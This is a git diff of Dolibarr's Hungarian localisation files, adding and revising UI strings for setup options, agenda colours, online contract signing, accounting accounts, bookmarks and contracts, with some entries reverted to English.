egyes érvényesített új tag-előfizetéshez -VisitorCanChooseItsPaymentMode=A látogató választhat az elérhető fizetési módok közül +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Engedélyezze az automatikus emlékeztetőt e-mailben a lejárt előfizetésekről. Megjegyzés: Az emlékeztetők küldéséhez a %s modult engedélyezni kell, és megfelelően be kell állítani. MembersDocModules=Dokumentumsablonok a tagrekordból generált dokumentumokhoz ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktiválja a fejlett szerkesztő: FCKeditorForNotePublic=Az elemek "nyilvános megjegyzései" mező WYSIWIG létrehozása/kiadása FCKeditorForNotePrivate=WYSIWIG létrehozása/kiadása az elemek "privát megjegyzései" mezőjének FCKeditorForCompany=Az elemek mező leírásának WYSIWIG létrehozása/kiadása (kivéve a termékek/szolgáltatások) -FCKeditorForProduct=A termékek/szolgáltatások mező leírásának WYSIWIG létrehozása/kiadása -FCKeditorForProductDetails=WYSIWIG termékrészletező sorok létrehozása/kiadása minden entitáshoz (ajánlatok, rendelések, számlák stb.). Figyelmeztetés: Ebben az esetben ennek a lehetőségnek a használata komolyan nem javasolt, mivel problémákat okozhat a speciális karakterekkel és az oldalformázással a PDF-fájlok létrehozásakor. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG létrehozása/kiadása tömeges e-mailekhez (Eszközök->e-mailezés) FCKeditorForUserSignature=WYSIWIG felhasználói aláírás létrehozása/kiadása FCKeditorForMail=WYSIWIG létrehozása/kiadása minden levélhez (kivéve az Eszközök->e-mailezés) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menü, ahol a kezelő jelzi az új menü DetailMenuModule=Modul neve, ha menübejegyzés származnak modul DetailType=Típusa menüben (fent vagy bal oldalt) DetailTitre=Menü címke vagy a címke kódját fordítás -DetailUrl=URL, ahol menüt küld (abszolút URL linket, vagy external link http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Feltétel megjelenítéséhez vagy belépési DetailRight=Feltétel megjeleníteni jogosulatlan szürke menük DetailLangs=Lang fájl nevét címke kód fordítást @@ -1803,13 +1827,16 @@ AccountancyCodeBuy=Vétel számviteli kódja CREATE_NEW_VAT_WITHOUT_AUTO_PAYMENT=A „Befizetés automatikus létrehozása” jelölőnégyzet alapértelmezés szerint maradjon üresen új adó létrehozásakor ##### Agenda ##### AgendaSetup=Rendezvények és napirend modul beállítási -PasswordTogetVCalExport=Főbb kiviteli engedélyezésének linket +PasswordTogetVCalExport=Kulcs az exportálási link engedélyezéséhez SecurityKey = Biztonsági kulcs -PastDelayVCalExport=Ne export esetén, mint a régebbi +PastDelayVCalExport=Ne exportáljon régebbi eseményt mint AGENDA_USE_EVENT_TYPE=Eseménytípusok használata (a Beállítás menüben -> Szótárak -> A napirendi események típusai) AGENDA_USE_EVENT_TYPE_DEFAULT=Automatikusan állítsa be ezt az alapértelmezett értéket az eseménytípushoz az esemény létrehozási űrlapon AGENDA_DEFAULT_FILTER_TYPE=Az ilyen típusú események automatikus beállítása a napirend nézet keresési szűrőjében AGENDA_DEFAULT_FILTER_STATUS=Automatikusan állítsa be ezt az állapotot az eseményekhez a napirendnézet keresőszűrőjében +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Melyik nézetet szeretné alapértelmezés szerint megnyitni a Napirend menü kiválasztásakor AGENDA_REMINDER_BROWSER=Eseményemlékeztető engedélyezése a felhasználó böngészőjében (Az emlékeztető dátumának elérésekor a böngésző felugró ablakot jelenít meg. Minden felhasználó letilthatja az ilyen értesítéseket a böngésző értesítési beállításaiból). AGENDA_REMINDER_BROWSER_SOUND=Hangjelzés engedélyezése @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=A POS készletének csökkenése nem CashDeskYouDidNotDisableStockDecease=Nem tiltotta le a készletcsökkentést, amikor az értékesítési helyről értékesített. Ezért raktárra van szükség. CashDeskForceDecreaseStockLabel=A kötegelt termékek készletének csökkentése kényszerített. CashDeskForceDecreaseStockDesc=Csökkentse először a legrégebbi fogyasztási és eladási dátum szerint. -CashDeskReaderKeyCodeForEnter=A vonalkód olvasóban definiált "Enter" kulcskód (Példa: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Könyvjelző beállítása modul BookmarkDesc=Ez a modul lehetővé teszi a könyvjelzők kezelését. A bal oldali menüben parancsikonokat is hozzáadhat bármely Dolibarr oldalhoz vagy külső webhelyhez. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Szállítói számlaszámozási modellek IfSetToYesDontForgetPermission=Ha nem null értékre van állítva, ne felejtsen el engedélyeket megadni a második jóváhagyásra jogosult csoportoknak vagy felhasználóknak ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP MaxMind modul beállítása -PathToGeoIPMaxmindCountryDataFile=A Maxmind ip-t az országra fordítást tartalmazó fájl elérési útja.
      Példák:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr /share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Ne feledje, hogy az ip-országra adatfájl belül kell lennie egy könyvtárat a PHP tudja olvasni (Ellenőrizze a PHP open_basedir beállítás és fájlrendszer jogosultságok). YouCanDownloadFreeDatFileTo=Tudod letölt egy ingyenes demo verzió az MaxMind GeoIP ország fájlt %s. YouCanDownloadAdvancedDatFileTo=Le is tölthet egy teljes verzió, a frissítésekkel, a MaxMind GeoIP ország fájlt %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Varázsló az adatbázis dump fájl létrehozásához BackupZipWizard=Varázsló a dokumentumok könyvtárának archívumának létrehozásához SomethingMakeInstallFromWebNotPossible=A külső modul telepítése nem lehetséges a webes felületről a következő ok miatt: SomethingMakeInstallFromWebNotPossible2=Ebből az okból kifolyólag az itt leírt frissítési folyamat egy manuális folyamat, amelyet csak kiváltságos felhasználók hajthatnak végre. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=A rendszergazda letiltotta a külső modul alkalmazásból történő telepítését. A funkció engedélyezéséhez meg kell kérnie őt, hogy távolítsa el a(z) %s fájlt. ConfFileMustContainCustom=Külső modul alkalmazásból történő telepítéséhez vagy létrehozásához a modul fájljait a %s könyvtárba kell menteni. Ahhoz, hogy ezt a könyvtárat a Dolibarr feldolgozza, be kell állítania a conf/conf.php fájlt a 2 direktívasor hozzáadásához:
      $dolibarr_main_url_root_alt='/custom';< br>$dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=A táblázat vonalainak kiemelése, amikor az egérmozdulat áthalad @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Speciális karakterek eltávolítása COMPANY_AQUARIUM_CLEAN_REGEX=Regex szűrő a tiszta értékhez (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex szűrő az érték tisztításához (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplikáció nem engedélyezett +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Adatvédelmi tiszt (adatvédelmi tisztviselő, adatvédelmi vagy GDPR kapcsolattartó) GDPRContactDesc=Ha személyes adatokat tárol az Információs Rendszerében, itt meg tudja nevezni az Általános Adatvédelmi Szabályzatért felelős kapcsolattartót HelpOnTooltip=Az eszköztippen megjelenő súgószöveg @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Postaláda célkönyvtár EmailcollectorOperations=A gyűjtő által elvégzendő műveletek EmailcollectorOperationsDesc=A műveletek végrehajtása felülről lefelé haladva történik MaxEmailCollectPerCollect=A gyűjteményenként gyűjthető e-mailek maximális száma +TestCollectNow=Test collect CollectNow=Gyűjtse most ConfirmCloneEmailCollector=Biztosan klónozni szeretné az %s e-mail gyűjtőt? DateLastCollectResult=A legutóbbi gyűjtési kísérlet dátuma @@ -2109,6 +2140,7 @@ CodeLastResult=Legfrissebb eredménykód NbOfEmailsInInbox=E-mailek száma a forráskönyvtárban LoadThirdPartyFromName=Harmadik féltől származó keresés betöltése a következőn: %s (csak betöltés) LoadThirdPartyFromNameOrCreate=Harmadik féltől származó keresés betöltése a következőn: %s (létrehozás, ha nem található) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Mentse el a csatolt fájlokat objektum dokumentumokba, ha egy objektum hivatkozása található az e-mail témakörben. WithDolTrackingID=Üzenet egy beszélgetésből, amelyet a Dolibarrtól küldött első e-mail indított WithoutDolTrackingID=Üzenet egy beszélgetésből, amelyet a Dolibarrtól NEM küldött első e-mail indított @@ -2183,6 +2215,7 @@ ShowProjectLabel=Projektcímke PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Adja meg az álnevet a harmadik fél nevében THIRDPARTY_ALIAS=Harmadik fél neve – Alias harmadik fél ALIAS_THIRDPARTY=Alias, harmadik fél – Harmadik fél neve +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Ha azt szeretné, hogy a PDF-ben lévő szövegek egy része 2 különböző nyelven legyen megkettőzve ugyanabban a generált PDF-ben, itt be kell állítania ezt a második nyelvet, így a létrehozott PDF 2 különböző nyelvet fog tartalmazni ugyanazon az oldalon, a PDF generálásakor választott nyelvet és ezt egy (csak néhány PDF-sablon támogatja ezt). Tartsa üresen PDF-enként 1 nyelv esetén. PDF_USE_A=PDF dokumentumok generálása PDF/A formátumban az alapértelmezett PDF formátum helyett FafaIconSocialNetworksDesc=Írja be ide a FontAwesome ikon kódját. Ha nem tudja, mi az a FontAwesome, használhatja az általános érték fa-címjegyzékét. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnerség AGENDA_EVENT_DEFAULT_STATUS=Alapértelmezett eseményállapot, amikor eseményt hoz létre az űrlapból YouShouldDisablePHPFunctions=Ki kell tiltania a PHP függvényeket IfCLINotRequiredYouShouldDisablePHPFunctions=Kivéve, ha a rendszerparancsokat egyéni kódban kell futtatnia, le kell tiltania a PHP függvényeket -PHPFunctionsRequiredForCLI=Shellyel kapcsolatos célokra (például ütemezett munka biztonsági mentése vagy anitivurs program futtatása) meg kell tartani a PHP függvényeket +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=Nem találhatók írható fájlok vagy általános programok könyvtárai a gyökérkönyvtárban (jó) RecommendedValueIs=Javasolt: %s Recommended=Ajánlott NotRecommended=Nem ajánlott -ARestrictedPath=Néhány korlátozott elérési út +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Külső modulok frissítéseinek ellenőrzése CheckForModuleUpdateHelp=Ez a művelet csatlakozik a külső modulok szerkesztőihez, hogy ellenőrizze, elérhető-e új verzió. ModuleUpdateAvailable=Frissítés elérhető @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=Nem találhatók frissítések a külső modulokhoz SwaggerDescriptionFile=Swagger API leíró fájl (például redoc-hoz) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Engedélyezte az elavult WS API-t. Használja helyette a REST API-t. RandomlySelectedIfSeveral=Véletlenszerűen kiválasztott, ha több kép is elérhető -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=Ajánlatokhoz, Megrendelésekhez, Számlákhoz. DatabasePasswordObfuscated=Az adatbázis jelszava homályos a konf fájlban DatabasePasswordNotObfuscated=Az adatbázis jelszava NINCS homályos a conf fájlban APIsAreNotEnabled=Az API-modulok nincsenek engedélyezve @@ -2264,10 +2297,10 @@ LateWarningAfter="Késői" figyelmeztetés után TemplateforBusinessCards=Sablon különböző méretű névjegykártyákhoz InventorySetup= Készlet beállítása ExportUseLowMemoryMode=Használjon alacsony memória módot -ExportUseLowMemoryModeHelp=Használja az alacsony memória módot a dump végrehajtásához (a tömörítés csövön keresztül történik, nem pedig a PHP memóriájába). Ez a módszer nem teszi lehetővé annak ellenőrzését, hogy a fájl elkészült-e, és nem lehet hibaüzenetet jelenteni, ha meghiúsul. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interfész a dolibarr triggerek elkapásához és egy URL-re küldéséhez +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook beállítása Settings = Beállítások WebhookSetupPage = Webhook beállítási oldal @@ -2288,6 +2321,8 @@ IconOnly=Csak ikon – Csak szöveg az eszköztippen INVOICE_ADD_ZATCA_QR_CODE=Mutassa meg a ZATCA QR kódot a számlákon INVOICE_ADD_ZATCA_QR_CODEMore=Egyes arab országoknak szüksége van erre a QR-kódra a számláikon INVOICE_ADD_SWISS_QR_CODE=Mutassa meg a svájci QR-Bill kódot a számlákon +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=A közösségi hálózat URL-címe. Használja az {socialid} változót a közösségi hálózat azonosítóját tartalmazó változó részhez. IfThisCategoryIsChildOfAnother=Ha ez a kategória egy másik gyermeke DarkThemeMode=Sötét téma mód @@ -2307,3 +2342,37 @@ UsePassword=Használjon jelszót UseOauth=Használjon OAUTH tokent Images=Képek MaxNumberOfImagesInGetPost=Egy űrlapon elküldött HTML-mezőben megengedett maximális képek száma +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=A modul egy URL-t hoz, amelyet egy külső eszköz felhasználhat egy harmadik fél vagy kapcsolat nevének lekérésére a telefonszámából. A használandó URL: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/hu_HU/bookmarks.lang b/htdocs/langs/hu_HU/bookmarks.lang index 02b5cc1dbee..163b0ec0495 100644 --- a/htdocs/langs/hu_HU/bookmarks.lang +++ b/htdocs/langs/hu_HU/bookmarks.lang @@ -7,16 +7,17 @@ EditBookmarks=Könyvjelzők listázása/szerkesztése NewBookmark=Új könyvjelző ShowBookmark=Könyvjelző mutatása OpenANewWindow=Új lap megnyitása -ReplaceWindow=Aktuális fül cseréje +ReplaceWindow=Az aktuális lap cseréje BookmarkTargetNewWindowShort=Új lap BookmarkTargetReplaceWindowShort=Aktuális lap BookmarkTitle=Könyvjelző neve UrlOrLink=URL elérési út -BehaviourOnClick=Viselkedés könyvjelző URL kiválasztásakor +BehaviourOnClick=Viselkedés a könyvjelző URL-jének kiválasztásakor CreateBookmark=Könyvjelző lértehozása -SetHereATitleForLink=Adjon meg egy nevet a könyvjelzőnek -UseAnExternalHttpLinkOrRelativeDolibarrLink=Use an external/absolute link (https://externalurl.com) or an internal/relative link (/mypage.php). You can also use phone like tel:0123456. +SetHereATitleForLink=Állítson be egy nevet a könyvjelzőnek +UseAnExternalHttpLinkOrRelativeDolibarrLink=Külső/abszolút hivatkozás (https://externalurl.com) vagy belső/relatív hivatkozás (/mypage.php) használata. Használhat olyan telefont is, mint a tel:0123456. ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Válassza ki, hogy a hivatkozott oldal az aktuális lapon vagy egy új lapon nyíljon meg BookmarksManagement=Könyvjelzők kezelése BookmarksMenuShortCut=Ctrl + Shift + m -NoBookmarks=No bookmarks defined +NoBookmarks=Nincsenek könyvjelzők meghatározva +NoBookmarkFound=Nem található könyvjelző diff --git a/htdocs/langs/hu_HU/boxes.lang b/htdocs/langs/hu_HU/boxes.lang index cc5a970b5a7..a5a33771eaa 100644 --- a/htdocs/langs/hu_HU/boxes.lang +++ b/htdocs/langs/hu_HU/boxes.lang @@ -44,8 +44,10 @@ BoxTitleSupplierOrdersAwaitingReception=Beszállítói rendelések fogadásra v BoxTitleLastModifiedContacts=Kapcsolatok/Címek: legutóbbi %s módosítás BoxMyLastBookmarks=Könyvjelzők: legutóbbi %s BoxOldestExpiredServices=A legrégebbi aktív lejárt szolgáltatások +BoxOldestActions=Oldest events to do BoxLastExpiredServices=A legújabb %s legrégebbi névjegy aktív lejárt szolgáltatásokkal BoxTitleLastActionsToDo=A legutóbbi %s művelet +BoxTitleOldestActionsToDo=Oldest %s events to do, not completed BoxTitleLastContracts=A legutóbbi %s szerződés, amely módosult BoxTitleLastModifiedDonations=A legutóbbi %s adomány, amely módosult BoxTitleLastModifiedExpenses=A legutóbbi %s költségjelentés, amely módosult diff --git a/htdocs/langs/hu_HU/commercial.lang b/htdocs/langs/hu_HU/commercial.lang index d6b10d4c1e6..f3424b64b5d 100644 --- a/htdocs/langs/hu_HU/commercial.lang +++ b/htdocs/langs/hu_HU/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Prospect állapot DraftPropals=Készítsen üzleti ajánlatot NoLimit=Nincs határ ToOfferALinkForOnlineSignature=Link az online aláíráshoz -WelcomeOnOnlineSignaturePage=Üdvözöljük az oldalon, ahol elfogadja %s árajánlatait -ThisScreenAllowsYouToSignDocFrom=Ez a képernyő lehetővé teszi egy árajánlat elfogadását és aláírását vagy elutasítását -ThisIsInformationOnDocumentToSign=Ez az elfogadandó vagy elutasítandó dokumentumra vonatkozó információ +WelcomeOnOnlineSignaturePageProposal=Üdvözöljük az oldalon, ahol elfogadja %s árajánlatait +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Ez a képernyő lehetővé teszi egy árajánlat elfogadását és aláírását vagy elutasítását +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Ez az elfogadandó vagy elutasítandó dokumentumra vonatkozó információ +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Árajánlat aláírása: %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Az online aláírás funkció letiltása vagy a szolgáltatás engedélyezése előtt létrehozott dokumentum diff --git a/htdocs/langs/hu_HU/companies.lang b/htdocs/langs/hu_HU/companies.lang index c4de327829b..98415b9bd99 100644 --- a/htdocs/langs/hu_HU/companies.lang +++ b/htdocs/langs/hu_HU/companies.lang @@ -59,12 +59,12 @@ UserTitle=Cím NatureOfThirdParty=Harmadik fél természete NatureOfContact=A kapcsolattartás jellege Address=Cím -State=Állam / Tartomány +State=Állam / Tartomány / Vármegye StateId=Állami azonosító -StateCode=Állam/Tartomány kódja +StateCode=Állam/Tartomány/Vármegye kódja StateShort=Állam/Megye Region=Régió -Region-State=Régió - Állam +Region-State=Vármegye - Állam Country=Ország CountryCode=Az ország hívószáma CountryId=Országazonosító @@ -312,12 +312,12 @@ CustomerRelativeDiscountShort=Relatív kedvezmény CustomerAbsoluteDiscountShort=Abszolút kedvezmény CompanyHasRelativeDiscount=A vevő alapértelmezett kedvezménye %s%% CompanyHasNoRelativeDiscount=A vevő nem rendelkezik relatív kedvezménnyel alapértelmezésben -HasRelativeDiscountFromSupplier=Az alapértelmezett %s%% kedvezménye van ettől a szállítótól -HasNoRelativeDiscountFromSupplier=Nincs alapértelmezett relatív engedménye ettől a szállítótól +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor CompanyHasAbsoluteDiscount=Ennek az ügyfélnek kedvezményei vannak (jóváírás vagy előleg) a következőhöz: %s %s CompanyHasDownPaymentOrCommercialDiscount=Ennek az ügyfélnek kedvezményei vannak (kereskedelmi, előleg) a következőre: %s %s CompanyHasCreditNote=Ez a vevő még hitellel rendelkezik %s %s-ig -HasNoAbsoluteDiscountFromSupplier=Nincs kedvezményes jóváírása ennél a szállítónál +HasNoAbsoluteDiscountFromSupplier=No discount/credit available from this vendor HasAbsoluteDiscountFromSupplier=Kedvezményei vannak (jóváírások vagy előlegek) a következőhöz: %s %s ettől a szállítótól HasDownPaymentOrCommercialDiscountFromSupplier=Kereskedelmi kedvezmények, előlegek) a következőhöz: %s %s ettől a szállítótól HasCreditNoteFromSupplier=Önnek van jóváírása a következőhöz: %s %s ettől a szállítótól @@ -444,7 +444,7 @@ AddAddress=Cím hozzáadása SupplierCategory=Szállító kategória JuridicalStatus200=Független DeleteFile=Fájl törlése -ConfirmDeleteFile=Biztosan törölni akarja ezt a fájlt? +ConfirmDeleteFile=Biztosan törli ezt a fájlt%s? AllocateCommercial=Értékesítési képviselőhöz hozzárendelve Organization=Szervezet FiscalYearInformation=Fizális év @@ -498,3 +498,8 @@ RestOfEurope=Európa többi része (EGK) OutOfEurope=Európán kívül (EGK) CurrentOutstandingBillLate=A jelenlegi fennálló számla késik BecarefullChangeThirdpartyBeforeAddProductToInvoice=Legyen óvatos, a termék árbeállításaitól függően meg kell változtatnia a harmadik felet, mielőtt hozzáadná a terméket a POS-hoz. +EmailAlreadyExistsPleaseRewriteYourCompanyName=e-mail cím már létezik, kérjük írja át a cég nevét +TwoRecordsOfCompanyName=more than one record exists for this company, please contact us to complete your partnership request +CompanySection=Company section +ShowSocialNetworks=Show social networks +HideSocialNetworks=Hide social networks diff --git a/htdocs/langs/hu_HU/compta.lang b/htdocs/langs/hu_HU/compta.lang index e8e456e2f32..cad98592489 100644 --- a/htdocs/langs/hu_HU/compta.lang +++ b/htdocs/langs/hu_HU/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Egyenleg (előtte) Balance=Egyenleg Debit=Terhelés Credit=Hitel +AccountingDebit=Terhelés +AccountingCredit=Hitel Piece=Számviteli dok. AmountHTVATRealReceived=A nettó összegyűlt AmountHTVATRealPaid=Nettó fizetett @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=A termékenként gyűjtött TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=A forgalmi adókulcsonként beszedett forgalomról szóló jelentés nem érhető el. Ez a jelentés csak a számlázott forgalomról érhető el. CalculationMode=Számítási mód AccountancyJournal=Számviteli kódnapló -ACCOUNTING_VAT_SOLD_ACCOUNT=Alapértelmezés szerint az értékesítések áfájához tartozó könyvelési számla (ha nincs megadva az áfaszótárban, akkor használatos) -ACCOUNTING_VAT_BUY_ACCOUNT=Alapértelmezés szerint a vásárlások áfájához tartozó könyvelési számla (használjuk, ha nincs megadva az áfaszótár beállításánál) -ACCOUNTING_VAT_PAY_ACCOUNT=Alapértelmezés szerint az áfa fizetésére szolgáló számviteli fiók -ACCOUNTING_ACCOUNT_CUSTOMER=Az ügyfél harmadik felei számára használt számviteli fiók +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=A harmadik fél kártyáján meghatározott dedikált könyvelési számla csak alkönyvi könyvelésre lesz használva. Ezt a rendszer a főkönyvhez és az alkönyvi könyvelés alapértelmezett értékeként fogja használni, ha nincs meghatározva harmadik fél dedikált ügyfélszámla. -ACCOUNTING_ACCOUNT_SUPPLIER=A szállító harmadik felei számára használt könyvelési fiók +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=A harmadik fél kártyáján meghatározott dedikált könyvelési számla csak alkönyvi könyvelésre lesz használva. Ez lesz a főkönyvhöz és az alkönyvi könyvelés alapértelmezett értékeként használatos, ha nincs meghatározva harmadik fél dedikált szállítói könyvelési számlája. ConfirmCloneTax=Egy szociális/fiskális adó klónjának megerősítése ConfirmCloneVAT=ÁFA-bevallás klónozásának megerősítése @@ -300,3 +302,4 @@ InvoiceToPay15Days=Fizetés (15-30 nap) InvoiceToPay30Days=Fizetés (> 30 nap) ConfirmPreselectAccount=A számviteli kód előre kiválasztása ConfirmPreselectAccountQuestion=Biztosan ki akarja választani a kiválasztott %s sort ezzel a számviteli kóddal? +AmountPaidMustMatchAmountOfDownPayment=A befizetett összegnek meg kell egyeznie az előleg összegével diff --git a/htdocs/langs/hu_HU/contracts.lang b/htdocs/langs/hu_HU/contracts.lang index b7155e5b9d9..52d5ec84eca 100644 --- a/htdocs/langs/hu_HU/contracts.lang +++ b/htdocs/langs/hu_HU/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Szerződések / Előfizetések ContractsAndLine=Szerződések és a szerződések sorai Contract=Szerződés ContractLine=Szerződés tételsor +ContractLines=Szerződési vonalak Closing=Lezár NoContracts=Nincs szerződés MenuServices=Szolgáltatás @@ -31,12 +32,12 @@ NewContract=Új szerződés NewContractSubscription=Új szerződés vagy előfizetés AddContract=Szerződés hozzáadása DeleteAContract=Szerződés törlése -ActivateAllOnContract=Aktiválja az összes szolgáltatást +ActivateAllOnContract=Minden szolgáltatás aktiválása CloseAContract=Szerződés lezárása ConfirmDeleteAContract=Biztos törölni akarja a szerződést és minden hozzá tartozó szolgáltatást? ConfirmValidateContract=Biztos hitelesíteni akarja a szerződést ezen a név alatt%s? -ConfirmActivateAllOnContract=Az összes szolgáltatás megnyitása (még nem aktív). Biztosan megnyitja az összes szolgáltatást? -ConfirmCloseContract=This will close all services (expired or not). Are you sure you want to close this contract? +ConfirmActivateAllOnContract=Ez minden szolgáltatást megnyit (még nem aktív). Biztosan meg akarja nyitni az összes szolgáltatást? +ConfirmCloseContract=Ez minden szolgáltatást bezár (lejárt vagy sem). Biztos benne, hogy fel akarja zárni ezt a szerződést? ConfirmCloseService=Biztos le akarja zárni a %s dátummal ellátott szolgáltatást? ValidateAContract=Szerződés hitelesítése ActivateService=Aktív szolgáltatás @@ -51,7 +52,7 @@ ListOfClosedServices=Lezárt szolgáltatások listája ListOfRunningServices=Futó szolgáltatások listája NotActivatedServices=Inaktív szolgáltatások (a hitelesített szerződések között) BoardNotActivatedServices=Hitelesített szerződésekhez tartozó aktiválandó szolgáltatások -BoardNotActivatedServicesShort=Szolgáltatások aktiváláshoz +BoardNotActivatedServicesShort=Aktiválandó szolgáltatások LastContracts=Utóbbi %s szerződés LastModifiedServices=Legutóbbi %s változás a szolgáltatásokban ContractStartDate=Kezdési dátum @@ -65,21 +66,21 @@ DateStartRealShort=Tényleges kezdési dátum DateEndReal=Tényleges befejezési dátum DateEndRealShort=Tényleges befejezési dátum CloseService=Szolgáltatás lezárása -BoardRunningServices=Futó szolgáltatások -BoardRunningServicesShort=Futó szolgáltatások 